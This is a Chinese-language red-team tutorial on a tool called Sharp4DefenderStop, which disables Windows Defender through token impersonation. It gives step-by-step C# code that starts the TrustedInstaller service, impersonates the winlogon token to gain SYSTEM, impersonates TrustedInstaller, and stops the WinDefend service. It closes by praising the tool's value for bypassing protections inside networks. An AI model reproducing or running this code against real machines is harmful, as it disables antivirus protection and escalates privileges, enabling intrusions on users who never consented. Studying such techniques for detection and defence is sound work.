Sharp4DefenderStop是一款通过令牌模拟实现停止Windows Defender服务的利器。原理上利用了Windows API函数将当前进程的权限提升至TrustedInstaller,从而实现了对Windows Defender服务的控制。本文将详细介绍其工作原理、核心代码以及使用方法。
背景和运行效果
Windows Defender 是微软公司为 Windows 操作系统提供的一款默认内置的防病毒和反恶意软件,当系统安装了第三方的反病毒软件时,Windows Defender就会默认停止退出。因此有红队利用此思路尝试绕过或关闭Windows Defender。事后从底层原理上分析得知只要具备了 TrustedInstaller 服务权限的程序运行时,Windows Defender 会自动退出。那么 TrustedInstaller服务是什么?
TrustedInstaller 是 Windows Modules Installer 服务的一个组件,负责管理 Windows 更新和其他系统组件的安装、修改和删除,具有比 SYSTEM 账户更高的权限,能够对系统核心文件和注册表进行操作。因此当 TrustedInstaller 服务执行系统更新或关键系统操作时,Windows Defender便会退出,如此确保 TrustedInstaller 能够顺利完成任务。我们在本地WIN10操作系统上运行Sharp4DefenderStop后,电脑右下方弹出Windows Defender关闭窗口,打开控制面板进行确认,的确已经停止服务。如下图所示。
实现过程
1、获取当前进程用户名
在Sharp4DefenderStop这款工具中第1步调用 自定义的get_username 方法来获取当前进程的用户名。这一步通常用于验证当前用户的身份,为后续的权限提升和操作做准备。具体代码如下所示。
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool GetUserName(System.Text.StringBuilder sb, ref Int32 length);
public static void get_username()
{
StringBuilder Buffer = new StringBuilder(64);
int nSize = 64;
GetUserName(Buffer, ref nSize);
Console.WriteLine(Buffer.ToString());
}
代码使用DllImport从非托管的advapi32.dll文件导入调用GetUserName, 此函数是一个 Windows API 函数,用于获取当前进程的用户名,笔者这里获取的用户名是 Administrator。
2、启动TrustedInstaller服务
接着通过自定义方法start_trustedinstaller_service启动 Windows 的 TrustedInstaller 服务。因为 Windows Defender 只认准系统是否有程序启动了该服务,当该服务启动后 Windows Defender 会自动退出。因此启动这个服务是为了获取该服务的令牌,从而模拟其权限。具体代码如下所示。
public static void start_trustedinstaller_service()
{
IntPtr SCMHandle = OpenSCManager(null, null, 0xF003F);
Console.WriteLine("OpenSCManager success!");
string ServiceName = "TrustedInstaller";
IntPtr schService = OpenService(SCMHandle, ServiceName, (uint) SERVICE_ACCESS.SERVICE_START);
bool bResult = StartService(schService, 0, null);
Thread.Sleep(2000);
CloseHandle(schService);
CloseHandle(SCMHandle);
}
调用系统API函数OpenSCManager,用于打开服务控制管理器数据库,并返回一个句柄。参数 null 表示连接到本地计算机,0xF003F 是访问权限标志,表示具有完全访问权限。接着声明一个值为TrustedInstaller的变量ServiceName,使用 OpenService 函数打开 TrustedInstaller 服务,并返回一个服务句柄。SERVICE_ACCESS.SERVICE_START 权限表示具有启动服务的权限。最后调用StartService 函数启动 TrustedInstaller 服务。
3、提升权限至SYSTEM
接着Sharp4DefenderStop通过系统核心进程winlogon的令牌模拟,将当前进程的权限提升到 SYSTEM 权限级别。具体代码如下所示。
public static void escalate_to_system()
{
Process[] processlist = Process.GetProcesses();
IntPtr tokenHandle = IntPtr.Zero;
foreach (Process theProcess in processlist)
{
if (theProcess.ProcessName == "winlogon")
{
bool token = OpenProcessToken(theProcess.Handle, TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_DUPLICATE, out tokenHandle);
token = ImpersonateLoggedOnUser(tokenHandle);
Console.Write("User after impersonation: ");
get_username();
CloseHandle(theProcess.Handle);
}
}
CloseHandle(tokenHandle);
}
代码中通过遍历进程列表,找到名称为 winlogon 的系统进程,然后调用 OpenProcessToken 函数尝试打开进程令牌,获取读取、模拟和复制权限(TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_DUPLICATE)。如果成功打开令牌,调用 ImpersonateLoggedOnUser 函数模拟 winlogon 进程的权限,从而将当前进程的权限提升到 SYSTEM 级别。
4、获取TrustedInstaller权限
提升到system权限之后还是不足以关闭Windows Defender,我们还需进一步将当前权限提升到TrustedInstaller。具体实现代码如下所示。
foreach (Process theProcess in processlist)
{
if (theProcess.ProcessName == "TrustedInstaller")
{
bool token = OpenProcessToken(theProcess.Handle, TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_DUPLICATE, out tokenHandle);
token = ImpersonateLoggedOnUser(tokenHandle);
Console.Write("Trusted Installer impersonated!");
CloseHandle(theProcess.Handle);
}
}
CloseHandle(tokenHandle);
同样还是遍历进程列表,找到 TrustedInstaller进程后调用 OpenProcessToken 函数尝试打开进程令牌获取读取、模拟和复制权限。接着调用 ImpersonateLoggedOnUser 函数模拟 TrustedInstaller 进程权限。如此一来当前程序的进程具备了TrustedInstaller 级别的权限。
5、关闭Windows Defender服务
最后通过自定义方法stop_defender_service,关闭WinDefend,实现的过程利用OpenService函数打开WinDefend服务,将服务的句柄权限标志设置成SERVICE_STOP即可,具体实现代码如下所示。
string ServiceName = "WinDefend";
IntPtr schService = OpenService(SCMHandle, ServiceName, (uint) (SERVICE_ACCESS.SERVICE_STOP | SERVICE_ACCESS.SERVICE_QUERY_STATUS | SERVICE_ACCESS.SERVICE_ENUMERATE_DEPENDENTS));
SERVICE_STATUS ssp = new SERVICE_STATUS();
bool bResult = ControlService(schService, SERVICE_CONTROL.STOP, ref ssp);
Windows API函数ControlService,用于向指定服务发送控制命令。此处发送 SERVICE_CONTROL.STOP 命令停止 Windows Defender 服务。
小结
Sharp4DefenderStop通过一系列步骤成功模拟 TrustedInstaller 服务的令牌,从而停止 Windows Defender反病毒服务,也因此在内网红队绕过安全防护阶段具有重要的意义。